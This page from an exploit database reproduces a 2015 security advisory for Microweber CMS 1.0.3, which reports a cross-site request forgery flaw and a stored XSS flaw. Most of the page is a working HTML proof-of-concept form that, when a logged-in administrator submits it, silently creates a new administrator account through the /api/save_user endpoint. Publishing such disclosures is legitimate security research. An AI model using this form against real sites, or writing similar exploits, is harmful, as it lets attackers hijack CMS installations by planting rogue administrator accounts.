Vulners
Lucene search
Microweber v1.0.3 Stored XSS And CSRF Add Admin Exploit
<!DOCTYPE html>
<!--
Microweber v1.0.3 Stored XSS And CSRF Add Admin Exploit
Vendor: Microweber Team
Product web page: http://www.microweber.com
Affected version: 1.0.3
Summary: Microweber is an open source drag and drop
PHP/Laravel CMS licensed under Apache License, Version
2.0 which allows you to create your own website, blog
or online shop.
Desc: The application allows users to perform certain
actions via HTTP requests without performing any validity
checks to verify the requests. This can be exploited to
perform certain actions with administrative privileges
if a logged-in user visits a malicious web site. Stored
cross-site scripting vulnerabilitity is also discovered.
The issue is triggered when input passed via the POST
parameter 'option_value' is not properly sanitized before
being returned to the user. This can be exploited to execute
arbitrary HTML and script code in a user's browser session
in context of an affected site.
Tested on: Apache 2.4.10 (Win32)
PHP 5.6.3
MySQL 5.6.21
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2015-5249
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5249.php
12.07.2015
--><html>
<head><title>Microweber v1.0.3 Stored XSS And CSRF Add Admin Exploit</title>
</head><body><br/><br/>
<center>
<form action="http://localhost/microweber-latest/api/save_user" method="POST">
<input name="id" type="hidden" value="0"/>
<input name="thumbnail" type="hidden" value=""/>
<input name="username" type="hidden" value="Freakazoid"/>
<input name="password" type="hidden" value="00110001"/>
<input name="email" type="hidden" value="[email protected]"/>
<input name="first_name" type="hidden" value="Joe"/>
<input name="last_name" type="hidden" value="Black"/>
<input name="is_active" type="hidden" value="1"/>
<input name="is_admin" type="hidden" value="1"/>
<input name="basic_mode" type="hidden" value="0"/>
<input name="api_key" type="hidden" value=""/>
<input type="submit" value="CSRF Adminize"/>
</form>
</center></body></html>
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Aug 2015 00:00Current
6Medium risk
Vulners AI Score6